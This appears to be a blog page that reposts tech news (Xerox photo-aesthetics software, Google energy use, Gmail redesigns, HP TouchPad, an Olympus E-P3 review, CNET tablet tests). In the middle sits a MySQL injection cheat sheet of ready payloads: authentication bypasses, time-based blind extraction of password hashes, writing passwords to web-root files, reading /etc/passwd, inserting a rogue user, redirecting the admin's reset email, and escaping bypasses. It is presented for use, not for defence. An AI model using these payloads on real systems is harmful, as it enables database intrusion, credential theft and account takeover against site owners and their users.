Note: Most of the Article of this blog has taken from another reputated blogs,Websites so Author will not responsible for any Issue.

Beauty Now in the Eye of the Algorithm

New image recognition technology judges photographic aesthetics.
    New technology from Xerox can sort photos not just by their content but also according to their aesthetic qualities, such as which portraits are close-in and well-lit, or which wildlife shots are least cluttered.
Still in the prototype stage, the technology could eventually help with tasks like choosing which of hundreds of digital photos taken on a family vacation should appear in a photo album. It could help stock agencies sort photos by their characteristics, and it could be deployed inside a camera to help people delete lower-quality scenes quickly, saving on storage space and hassle.
"What they show is that now you don't need a human to select images that are going to be judged beautiful," says Aude Olivia, an associate professor of brain and cognitive sciences at MIT, who also works on image recognition. "You can run the algorithm, and it will give a good estimate."
The technology—developed at the Xerox Research Center Europe in Grenoble, France—is slated for beta testing with Xerox corporate partners next year, says Craig Saunders, manager of the computer vision research group there. These partners include graphic design firms, online photo-book companies, and stock agencies, all of which might want new ways to sort and find photos.
The Xerox system learns about quality photography by studying photos that had previously been chosen for public display in online photo albums, such public ones shown on Facebook, or photos tagged as high quality on Flickr. Then it notes common characteristics of these photos.
Not surprisingly, these characteristics often correspond to what experts already understand about good photographs. The best portraits of people, for example, have indirect lighting and blurry or monochromatic backgrounds that help keep the focus on the person. Good beach photos often include silky-looking waves, a trick achieved through slow shutter speeds. And many kinds of photos are appealing because they follow the "rule of threes," with subjects divided among three zones in the photo. "We try to learn what it is about these features that makes photos 'good,'" says Saunders. (Examples and demonstrations can be found here.)

Reference: Technology Review.com

How much power Google consumes


The giant of the web Google revealed its energy use for the first time.

Google is the first web firm to reveal how much energy it consumes, this information will help researchers understand how the massive explosion of Internet consumption and cloud computing is contributing to global energy consumption.

Google consumes 260 million watts continuously across the world,the company reported on Wednesday. This is equivalent to the power used by all the houses in Richmond, Virginia, or Irvine, California (around 200,000 houses), and nearly a quarter of the output of a standard nuclear power plant.


Until now, the most of Google's energy use is tied up in its data storage centers, according to Jonathan Koomey who is a professor at Stanford University and a researcher who focuses on energy and IT. He says that nearly 220 million of these watts are used only by the company's data centers, based on figures Google showed him . Most of this energy is used in cooling data center systems. Google custom builds many data centers, for example a new one in Finland that uses a seawater cooling system, to cool the system.

This has made Google to be relatively energy efficient, says Koomey, who estimates that the company owns about 3 percent of servers worldwide and uses only 1 percent of electricity for data centers worldwide. "They're operating more efficiently than other data centers," he says.

In its report, Google compares the energy usage of companies' in-house computer systems to the energy used by its cloud servers. It estimates that running Gmail instead of an in-house e-mail system can be almost 80 times more efficient .Google says that 25 percent of its energy was generated by renewable fuels, from wind farm in 2011, and plan to increase that to 30 percent this year.



Sherif Akoush, a researcher at the University of Cambridge who studies IT energy consumption, indicates that Google could be even more energy efficient, and notes that the company's environmental works will continue to rise. "Google tackles this problem mainly by using power purchase agreements from green sources, which offset basically the emissions from its data centers," says Akoush. Instead, "it should just try to apply more radical solutions like green energy and be a zero-carbon company instead of pumping waste then trying to clean it up."

Bruce Nordman who is a researcher at the Lawrence Berkeley National Laboratory, notes that most IT-related energy usage occurs from homes and offices, and not major data centers.

Google says that an average search uses .3 watt-hours of electricity. But Nordman points out that cutting back on Google searches is not going to save a significant amount of energy. "Something like having your display go to sleep a little faster would probably save more energy," he says.
He adds, "since there's more consumption [in homes and offices], there's potentially more savings and yet that's not what gets the attention."


technologyreview.com

Gmail’s new look


Back in July we showed you a preview of Gmail's new look, and we’ve been working this summer to make even more updates and improvements. Today, we’re giving you an in-depth look at the new design. If you like what you see, over the next few days you’ll be able to switch to the new look by clicking on Switch to the new look in the bottom-right of Gmail.


Streamlined conversations
Conversation view has been completely redesigned to help you read through your email threads. You’ll now see profiles pictures for your contacts, so it’s easier to keep track of who said what. We also stripped out as much as possible so you can focus on communicating with your friends and colleagues.


Elastic density
We know that you use Gmail from a variety of screen sizes and devices, so now the spacing between elements on the screen will automatically change based on the kind of display you’re using. If you prefer a denser view all the time, you can change your density manually in the Settings menu.


New HD themes
Themes have been completely rebuilt to enable us to bring you a new set of beautiful high resolution themes with imagery provided by iStockphoto. We've updated most of the old favorites as well and your theme will be automatically carried over to the new look. Go to the Settings menu to take another look at themes and choose the one that fits you best.


Smarter navigation
The navigation panel on the left keeps your labels and chat contacts in view at all times. It's also more customizable: you can resize the labels and chat areas if you want to see more, or hide the chat area entirely via the chat icon in the lower left. You can also use the arrow keys to navigate around the interface.


Better search
Click the dropdown in the search box to see a new advanced search panel, which makes it easier and faster to find exactly what you're looking for. You can use the same panel to create a filter from any search in just a few clicks.


We’re excited to finally share Gmail’s new look with you. We’ll be bringing these changes to everyone soon, but if you’d like to make the switch right away, we’re rolling out a Switch to the new look link in the bottom-right of Gmail over the next few days.

HP TouchPad Returns to Best Buy

Hewlett Packard's webOS-based TouchPad tablet is back from the dead again and hitting Best Buy store shelves this week. Starting Tuesday on BestBuy.com you can pick up the 32GB version of the TouchPad for $150 with the purchase of a new HP or Compaq PC. Alternatively, you can pick up the webOS tablet alone for $600. The tablet will be available at Best Buy retail locations starting Friday. You can find complete details on Best Buy's TouchPad deal page.
HP netbooks do not appear to qualify for the TouchPad offer; you can find Best Buy's list of qualifying PCs here.

HP TouchPad Returns to Best BuyBest Buy's top HP PC bargain is a Compaq desktop computer for $300 with 2GB RAM, 500GB HDD, 1.65 GHz AMD E processor, six USB 2.0 ports, and Windows Home 7 Premium (64-bit). Add to that the $150 price tag for the TouchPad and you end up with a boring tower PC and a webOS-based tablet with almost no future for about $450. That's $50 less than the $500 16GB iPad 2, a tablet that most certainly has a future and a massive catalog of third-party apps.
Best Buy says the TouchPads are in limited supply and will be sold on a first-come, first-serve basis. "And when they're gone, they're gone," the retailer warns on its FAQ page. HP recently announced on a company blog that its online inventory of TouchPad devices was depleted. That means Best Buy's current deal may be the final major sales push for HP's doomed tablet.

Why?

Considering that HP discontinued the TouchPad in August and reports say HP's webOS development team may soon be shut down, it would be surprising if Best Buy can sell its entire TouchPad inventory. So keep your eye on the big box retailer in case it offers the TouchPad at fire sale prices once again --$150 with no strings attached sounds about right.
But don't think you'll be able to get away with buying a cheap PC and then return it without the TouchPad to get a $150 deal on the device. Best Buy says it will charge you another $450 for the TouchPad if you don't return the tablet with your new PC.

webOS Future Unclear

HP TouchPad Returns to Best BuyHP in August said it planned to "discontinue operations for webOS devices" and was considering getting out of the PC manufacturing business entirely. Shortly thereafter, HP sparked a nationwide fire sale at big box retailers after offering the 16GB TouchPad for $99 on HP.com.
In late October, HP said it would not spin off its PC business, but has yet to decide the fate of its webOS business. "We're going to make a decision about the long-term future of webOS within HP over the next couple of months," chief executive Meg Whitman said at the time. Whitman in September replaced Leo Apotheker as CEO following reports that HP's board was growing dissatisfied with Apotheker's plans to spin off the company's PC operations.
Whitman's comments may sound like there is some hope that webOS could be resurrected at HP, but the newly minted CEO was referring specifically to the future of webOS software, not hardware. Buyers looking to get a TouchPad this week would be wise to assume HP will not relaunch its webOS devices.
But a TouchPad could come in handy for tech saavy users looking to play around with some respectable tablet hardware. Hackers are working on a way to port Android to TouchPad hardware, and Liliputing explains how you can put Ubuntu Linux on the TouchPad. Finally, HP is reportedly testing out Windows 8 on TouchPad devices, but it's not clear if HP and Microsoft would make it easy for current TouchPad owners to load the upcoming OS on their tablets.
HP's 32GB TouchPad features a 9.7-inch screen, dual-core 1.2 GHz processor, 1 GB RAM, 1.3 megapixel webcam, 1 USB 2.0 port, 32 GB storage, Wi-Fi connectivity and webOS 3.0 software.
Connect with Ian Paul (@ianpaul) and Today@PCWorldon Twitter for the latest tech news and analysis.

Olympus Camera EP3 including the M Zuiko 12mm F/2.0 lens

At Rs. 39,900 this is certainly priced higher than most entry level DSLRs but with the kind of features provided, options to add on accessories and the image quality, we feel it makes for a great buy for someone looking at DSLR-like quality in a compact form factor. For street photography, we have yet to come across a more feature-rich mirrorless compact.

Pros
  • Feature-rich
  • Good image quality

Cons
  • Pricey
 
 
 
Micro four-thirds cameras are slowly but surely flooding the market and Olympus has refreshed its PEN line of mirrorless DSLRs with the new E-P3. This is a continuation of the PEN line of compact system cameras, but Olympus has made some major additions to the EP3 over the EP2.
This model has the same 12.3MP Live MOS sensor found on its predecessor, the E-P2. The E-P3 houses a new TruePic VI image processor which is dual core. That effectively means that you can continue using the Live view mode while the image is being processed. It also works wonders when you are using the Creative Art filters and applying them to a single image, as we will see later. It also checks the focus about 120 times a second which brings us to one of its top features. That of having a extremely fast auto-focus.
Build and Design
The Olympus EP3 has an all-metal body with three types of hand grips to choose from. An addition over the previous generation EP2 is the presence of a flash unit onboard. The flash unit is assembled as a pop-up type unit, so that it merges with the top portion of the camera. The jog dial is located on the right hand side of the hot-shoe section. Shutter is located just beside the jog dial.
On the rear side you have the 610k dot OLED screen which has a capacitive touch response. You can select the focus points from over 35 AF points by touch as well. Not just that, you can also fire the shutter by tapping on the touchscreen.
Button layout around the screen is quite intuitive and all of them are located on the right hand side. There is a record button for video recording followed by magnifier button which comes handy while manual focussing. Fn1 and Fn2 buttons can be programmed with specific tasks such as exposure lock among others.
A Zuiko Digital ED 14-42mm R (f/3.5 - f/5.6) kit lens is bundled with the EP3. It has a metallic manual focus rim which complements the metal body of the EP3.
Features
The user interface of the EP3 has improved from the previous generation and is quite easy to navigate through. Though it can get a bit too exhaustive for a beginner as there are many sub-menus within each menu. Also the menus change according to the mode of shooting selected.
Creative Art filters go beyond your traditional sepia mode, vivid mode, etc. You have some fascinating filters such as Grainy film (noisy BW filter), Dramatic Tone (adding mood to the sky), Diorama (simulates tilt-shift lens photography), among others. Each of these Art filters has options to further add tweaks.
There are as many as 23 SCN modes with options to even select individual eyes in a portrait shot or even take a 3D shot. It can shoot in both RAW as well as JPEG. The video recording can shoot upto 1080i at 60fps in AVCHD format.
Diorama Creative ART filter
Performance
We shot using the kit lens - 14-42mm (f3.5 - f5.6). Image quality is quite good with crisp colours and high level of detailing. While shooting outdoors the finer details start deteriorating only after ISO 1600. We did notice a slight amount of colour cast around the sharper edges while shooting in the macro mode. Indoor shots started showing noise even on lower ISOs.
Single shot auto focus is blazing fast and is one of the major plus points for street photography enthusiasts as it is pertinent to get the decisive moment right. You can also activate the touch-focus-shoot function, whereby you can select the point you want to focus on and take a shot by just touching that point. Although the response was quick, we noticed a slight loss in accuracy of the focus on the desired spot. It is best to use the shutter to click photographs and there are enough focussing points to choose from. Movie mode supports continuous AF and we did not notice any jerks even on the highest resolution which is quite common on most compact cameras, specially whilst panning.
Click to enlarge

Grainy Creative ART filter output

Diorama mode of the Creative ART filter

Dramatic Tone mode of Creative ART filter
Creative Art Filters are a great accessory for amateurs who want on-the-spot editing. But we noticed that the Grainy filter tends to blow out the highlights by quite a bit. The Dramatic mode looks great only if you have a cloudy sky, otherwise if you try using it on a flat sky, you will get black blotches which does not really add to the appeal of the photograph.
Art Filter bracketing is a lovely way to apply many filters to one image at a time. Obviously, it will take some time to apply the filters, but at the end you will get multiple filters applied to the same image rather than having to select each filter individually.
Rating
Features: 8
Performance: 7
Build Quality: 6.5
Value for money: 6.5
Overall: 7
Price Olympus EP3: Rs. 39,999
Verdict
At Rs. 39,900 this is certainly priced higher than most entry level DSLRs but with the kind of features provided, options to add on accessories and the image quality, we feel it makes for a great buy for someone looking at DSLR-like quality in a compact form factor. For street photography, we have yet to come across a more feature-rich mirrorless compact.
Contact
Olympus Imaging India Pvt. Ltd
Phone: +91 22 6142 0400
Email: inquiry@olympus.in
Website: www.olympus-imaging.co.in

.NET StockTrader Sample Application

An end-to-end sample application illustrating the Windows Azure Platform and on-premise enterprise applications built for Windows Server and using .NET 4 Enterprise Technologies




                                                                                         
The .NET StockTrader application is an end-to-end sample application for .NET Enterprise Application Server technologies. It is a service-oriented application based on Windows Communication Foundation and ASP.NET, and is designed as a high-performance application that can seamlessly scale out across multiple servers with load-balancing and failover at the service-request level. In addition, the application can be deployed to Windows Azure or to hybrid cloud environments, seamlessly scaling across Windows Azure instances and securely communicating between the public cloud and on-premise services. It illustrates many of the .NET enterprise development technologies for building highly scalable, rich "cloud-connected" applications.

StockTrader 5.0 

Now Cloud-Ready! Announcing the StockTrader 5.0 Sample Application Download, and Live Windows Azure Deployment!

The .NET StockTrader 5.0 sample application is now available for download. The new version does not require Windows Azure, but fully supports Windows Azure, since you can setup the application to run on-premise, and optionally setup for Windows Azure with SQL Azure as well. The new version is built using Visual Studio 2010 and the .NET Framework 4.0. The download for version 5.0 includes full source code for both .NET StockTrader 5.0 and the Configuration Service 5.0 with ConfigWeb 5.0. You can browse the live sample application on Azure to check it out. Make sure to also click on the ConfigWeb menu link on the StockTrader home page above, which will give you access into ConfigWeb to view our live deployment.

Integrating On-Premise And Public Clouds: Hybrid Cloud Environments and StockTrader 5.0
 
With the new sample, we are also demonstrating and end-to-end application that easily integrates public and private-cloud environments. The current StockTrader 5.0 Web application on Azure can securely access a private data center running the business service tier and order processing tiers (WCF services) against an on-premise SQL Server; or be configured to run all tiers in the public cloud. In fact, any service tier can be deployed on-premise or on Windows Azure, and any tier can utilize on-premise SQL Server or SQL Azure, all with a single code base. To view our hybrid deployment, use the ConfigWeb menu link in the StockTrader Welcome page, and login to the Azure StockTrader Web Application using the credentials listed on the ConfigWeb login page. Then, use the Service Map button to view the deployment topology.
Read more about the .NET StockTrader 5.0 sample application in this Application Overview.

.NET StockTrader Technical Articles


Overview of the new StockTrader 5 application architecture, and the variety of physical deployment topologies the application supports.


PowerPoint show best run in presentation mode, highlighting Azure migration and hybrid cloud deployment options for StockTrader 5 via WCF.


A step-by-step tutorial for reconfiguring .NET StockTrader to various remote modes and security modes the application supports. This walkthrough covers both on-premise and Windows Azure deployments.

Configuration Service Technical Articles

Configuration Service 5.0 with Full Source Code

The Configuration Service is a reusable set of shared libraries that provides central configuration management for .NET applications, ASP.NET Applications, and WCF service hosts for both on-premise and Windows Azure deployments. It provides the ability to cluster multiple nodes, with load balancing and application-level failover across remote nodes; as well as a centralized configuration management user interface, database, node and WCF endpoint status monitoring, and dynamic configuration updates across on-premise clusters and scale-out Azure instances without having to deploy new configuration files or stop/start active nodes. A new Visual Studio Wizard is provided that automates the implementation of the Configuration Service in your own applications and services. The Wizard and all the source code for the Configuration Service is included with the StockTrader 5.0 download as part of the sample, and is fully-redistributable.

Configuration Service 

 
Step-by-Step Tutorial on Using the Configuration Service 5 Visual Studio 2010 Wizard
The new Wizard fully automates the creation of an application or service implementing the Configuration Service 5; including for on-premise deployments and within Windows Azure Web and Worker roles. The wizard also produces a structured solution that implements the StockTrader 5.0 design pattern for UI, Business Services and Data Access. Simply run the wizard, and then replace the sample business logic/data access logic with your logic as a quick way to get started.

 
Technical Documentation for the Configuration Service
This document is updated for 5.0, and provides a technical overview of the Configuration Service.

 .NET StockTrader Benchmark Results on Windows Server 2008
This paper presents detailed benchmark results of .NET StockTrader 4.0 based on extensive performance and scalability testing of 64-bit IBM WebSphere 7 Application Server running on an IBM Power 570 (IBM Power6/AIX 5.3 platform). It compares the price as well as the performance of this platform to IBM WebSphere 7 running on a Hewlett Packard BladeSystem C7000 with Windows Server 2008 64-bit. The paper also compares the performance and price of these two IBM WebSphere platforms to the equivalent workloads developed using the Microsoft .NET Framework 4 and deployed to the Hewlett Packard BladeSystem C7000 with Windows Server 2008 64-bit operating system.

Google Buzz is going away, but your posts are yours to keep

In a few weeks we'll be retiring Google Buzz. At that time you won't be able to create any new posts, but your existing content will remain accessible in two ways:
  1. You can view it on your Google Profile
  2. You can download it using Google Takeout
Thank you for using Google Buzz.

After the iPad? The iBoard and iMat


Most people don't like the way Apple rolls out products. The company releases a device, only to roll out the "next version" a year later. The newer model usually contains only a few minor tweaks, which could have been implemented on the original (copy-paste on the iPhone anyone?).

It was this mindset that had people criticizing the iPad. "It's just a giant iPhone," they said. "It even runs the same OS as the iPhone and iPod Touch!" Well here's one for the people who think Apple's line of products has gotten just a bit too linear.
The folks over at begeek.fr have predicted the next two iterations of the Apple iPad. Behold! The iBoard and the iMat!

MySQL Injection Cheat Sheet Basics

SELECT * FROM login /* foobar */
SELECT * FROM login WHERE id = 1 or 1=1
SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%"

Variations.

SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1
SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE "%root%"

SHOW TABLES
SELECT * FROM login WHERE id = 1 or 1=1; SHOW TABLES
SELECT VERSION
SELECT * FROM login WHERE id = 1 or 1=1; SELECT VERSION()
SELECT host,user,db from mysql.db
SELECT * FROM login WHERE id = 1 or 1=1; select host,user,db from mysql.db;

Blind injection vectors.

Operators

SELECT 1 && 1;
SELECT 1 || 1;
SELECT 1 XOR 0;

Evaluate

all render TRUE or 1.
SELECT 0.1 <= 2; SELECT 2 >= 2;
SELECT ISNULL(1/0);

Math

SELECT FLOOR(7 + (RAND() * 5));
SELECT ROUND(23.298, -1);

Misc

SELECT LENGTH(COMPRESS(REPEAT('a',1000)));
SELECT MD5('abc');

Benchmark

SELECT BENCHMARK(10000000,ENCODE('abc','123'));
this takes around 5 sec on a localhost

SELECT BENCHMARK(1000000,MD5(CHAR(116)))
this takes around 7 sec on a localhost

SELECT BENCHMARK(10000000,MD5(CHAR(116)))
this takes around 70 sec on a localhost

Using the timeout to check if user exists

SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login

Beware of of the N rounds, add an extra zero and it could stall or crash your
browser!

Gathering info

Table mapping

SELECT COUNT(*) FROM tablename

Field mapping

SELECT * FROM tablename WHERE user LIKE "%root%"
SELECT * FROM tablename WHERE user LIKE "%"
SELECT * FROM tablename WHERE user = 'root' AND id IS NOT NULL;
SELECT * FROM tablename WHERE user = 'x' AND id IS NULL;

User mapping

SELECT * FROM tablename WHERE email = 'user@site.com';
SELECT * FROM tablename WHERE user LIKE "%root%"
SELECT * FROM tablename WHERE user = 'username'

Advanced SQL vectors

Writing info into files

SELECT password FROM tablename WHERE username = 'root' INTO OUTFILE
'/path/location/on/server/www/passes.txt'

Writing info into files without single quotes: (example)

SELECT password FROM tablename WHERE username =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39)) INTO
OUTFILE CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR(
39))

Note: You must specify a new file, it may not exist! and give the correct
pathname!

The CHAR() quoteless function

SELECT * FROM login WHERE user =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))

SELECT * FROM login WHERE user = CHAR(39,97,39)

Extracting hashes

SELECT user FROM login WHERE user = 'root'
UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97),
BENCHMARK(1000000,MD5('x')),null) FROM login

example:

SELECT user FROM login WHERE user = 'admin'
UNION SELECT IF(SUBSTRING(passwordfield,1,1) = CHAR(97),
BENCHMARK(1000000,MD5('x')),null) FROM login

SELECT user FROM login WHERE user = 'admin'
UNION SELECT IF(SUBSTRING(passwordfield,1,2) = CHAR(97,97),
BENCHMARK(1000000,MD5('x')),null) FROM login

explaining: (passwordfield,startcharacter,selectlength)

is like: (password,1,2) this selects: ‘ab’
is like: (password,1,3) this selects: ‘abc’
is like: (password,1,4) this selects: ‘abcd’

A quoteless example:

SELECT user FROM login WHERE user =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))
UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97),
BENCHMARK(1000000,MD5(CHAR(59))),null) FROM login

Possible chars: 0 to 9 – ASCII 48 to 57 ~ a to z – ASCII 97 to 122

Misc

Insert a new user into DB

INSERT INTO login SET user = 'r00t', pass = 'abc'

Retrieve /etc/passwd file, put it into a field and insert a new user

load data infile "/etc/passwd" INTO table login (profiletext, @var1) SET user =
'r00t', pass = 'abc'

Then login!

Write the DB user away into tmp

SELECT host,user,password FROM user into outfile '/tmp/passwd';

Change admin e-mail, for “forgot login retrieval.”

UPDATE users set email = 'mymail@site.com' WHERE email = 'admin@site.com';

Bypassing PHP functions

(MySQL 4.1.x before 4.1.20 and 5.0.x)

Bypassing addslashes() with GBK encoding

WHERE x = 0xbf27admin 0xbf27

Bypassing mysql_real_escape_string() with BIG5 or GBK

"injection string"
に関する追加情報:

the above chars are Chinese Big5

Advanced Vectors
Using an HEX encoded query to bypass escaping.

Normal:

SELECT * FROM login WHERE user = 'root'

Bypass:

SELECT * FROM login WHERE user = 0x726F6F74

Inserting a new user in SQL.

Normal:

insert into login set user = ‘root’, pass = ‘root’

Bypass:

insert into login set user = 0x726F6F74, pass = 0x726F6F74

How to determin the HEX value for injection.

SELECT HEX('root');

gives you:

726F6F74
then add:

0x

A preview of Gmail’s new look

We get a lot of great feedback about how Gmail helps you be more efficient, keep in touch with family and friends, and get work done. We’ve saved you from forgetting attachments and made sure that you got the right Bob. Over the years, adding countless features to Gmail has made it an increasingly powerful communication hub, but along the way the interface has also become more cluttered and complex.

That’s one of the reasons we’re embarking on a series of interface updates to help strip out unnecessary clutter and make Gmail as beautiful as it is powerful. This is part of a Google-wide effort to bring you an experience that’s more focused, elastic, and effortless across all of our products. The changes are not going to happen all at once. We know that you love and care about Gmail as much as we do, and we’ll be working on these upgrades gradually over the next few months to allow plenty of time to understand and incorporate your feedback into the evolving design.

We’re kicking things off with two new themes for you to try out as a sort of sneak peek at what we’re up to. Starting today, you’ll see the “Preview” and “Preview (Dense)” themes in the Themes tab in Gmail Settings. Why two themes? Our new interface will eventually expand dynamically to accommodate different screen sizes and user preferences, but until then you can pick the information density that you prefer. 

Here’s what one of the new themes currently looks like:



And in conversation view:


Click the images above to see larger versions.

If you poke around you’ll hopefully find a lot to like and a much cleaner, modern look but also few rough edges. In particular, some Labs features may look a little strange in the new themes. We plan to fix these issues as we roll out changes in the coming months. You can also expect some updated themes that embody the same design principles but are better suited to working in a dark environment, use a different color palette, or include the illustrations that we know many of you love to see around your inbox.

Look out for these and other new features over the next few months. In the meantime, try out the new themes as a preview of the future of Gmail and let us know what you think.

P.S. Like Gmail, Google Calendar is also getting a new look. You’ll see it automatically within the next few days so there’s no need to turn it on, and we’ll also continue to make improvements there in the coming months. Details about the current changes to Calendar can be found in the Calendar help center

New! Pick your favorite inbox style

Ever felt like there should be a better way to manage your inbox? There are already lots of different ways: some people read everything, some mark messages they need to take action on with stars, and others like to have their important email separated from the rest automatically — something Gmail started offering last year with Priority Inbox.

Over the coming weeks, we're rolling out several new inbox styles to help you manage your mail in the way that works best for you. Once it’s turned on for your account, you can easily choose a style from the tabs at the top of your inbox:

  • Classic - This is the default inbox style most people are used to. In the Classic inbox, messages are ordered chronologically, with your most recent email at the top.
  • Priority Inbox - Important and unread messages appear at the top of your inbox, then starred messages, then everything else. Each section can be customized further, so you can create your own inbox style.
  • Important first - This style puts important mail at the top of the page (both read and unread messages). Everything else is in its own section at the bottom of your inbox. You may have noticed that we turned on importance arrows for everyone a few weeks ago; this inbox style separates messages with these arrows from those without.
  • Unread first - Simple: unread mail at the top; everything else at the bottom.
  • Starred first - Starred messages at the top; everything else at the bottom.
After you've settled on a style you like and used it for about a week, these tabs will go away, You can always change your inbox style from the drop down menu next to the Inbox label or from theSettings page.



So try on a new inbox style and see what fits you best!

CNET tests tablet Web speed, battery life


Each tablet has its own idiosyncrasies, and when testing them, those oh so charming little quirks come to the surface. In my experience thus far, the Xoom, iPad, and Galaxy Tab provided the least amount of frustrating, hair-pulling moments.
(Credit: Eric Franklin/CNET)
Editors' note: The video battery results for the Motorola Xoom were corrected from the original post. The original post contained results not in line with our final testing methodology. We apologize for any confusion this may have caused.
During the deluge of iPad 2 coverage last week, you may have missed CNET's handy tablets table. In it we gave an overview of the major non-Windows tablets already released and those soon-to-be released.
For the few tablets we actually have in the CNET Labs, we're able to go a bit more in depth with what each has to offer. For the last few weeks, we've tested the Web site speed and video battery life of a whole mess of different tablets. We've also tested their default and maximum respective luminosities and their contrast ratios.
Here's what we have so far, which is just the tip of the iceberg. We'll be adding more tablets and additional tests over the coming days, weeks, and months.
Tablet nameVideo battery life (in hours)Web site load time (in seconds; lower is better)Maximum brightness (in cd/m2)Default brightness (in cd/m2)Contrast ratio
Apple iPad12.69388161881:1
Archos 704.713302216581:1
Archos 1015.8111771331106:1
Dell Streak 54.783401351172:1
Dell Streak 73.37330146868:1
Motorola Xoom9.363121311,200:1
Samsung Galaxy Tab7.88364123674:1
Viewsonic ViewPad G Tablet7.883641231,093:1

How we test tablets


In the CNET Labs, we currently run three different tests to evaluate the performance of non-Windows tablets.
Battery life
We evaluate battery life by continually running a movie file on the tablet until its battery dies.
We set each tablet to Airplane mode and adjust its respective brightnesses to 150 candelas per square meter (cd/M2) or as close to that number as is possible.
For the iPad, we run the iPad version of "Toy Story 3." For Android tablets, a 720p version of "Toy Story 3" is run. The reason we chose 720p for Android was that not every tablet can run 1080p video just yet, and we wanted to make sure we tested Android tablets under the same methodology.
On iPad, we ran the movie through its iPod app; for Android, we used the movie player, mVideoPlayer, as it provides a much needed repeat video function that not all native Android movie players include.
Site-loading speed
We used GiantBomb.com as our Web site of choice, as it doesn't use Flash or have many dynamic elements. Each tablet was connected to the same closed network with no other devices on it, with the router about 5 feet away. The test began the moment we pressed Enter, with the end of the test signified by the disappearance of the browser's blue progress bar. We measured speed in seconds, with a lower number indicating faster performance.
We used the latest version of iOS for the iPad, and the Xoom is, of course, using Honeycomb, with all other Android tablets using Android OS 2.2.
Contrast ratio and brightness
We also tested the maximum brightness, default brightness, and contrast ratio for each tablet. We conducted these tests using the Minolta CA-210 display color analyzer. With each screen at full luminosity, we placed the sensor in the middle of the screen. We used a completely white screen to test the brightness and a completely black screen to test the black level. We then divided the maximum brightness by the maximum black level to get the contrast ratio.


Read more: http://news.cnet.com/8301-17938_105-20035094-1.html#ixzz1FyiDYWlO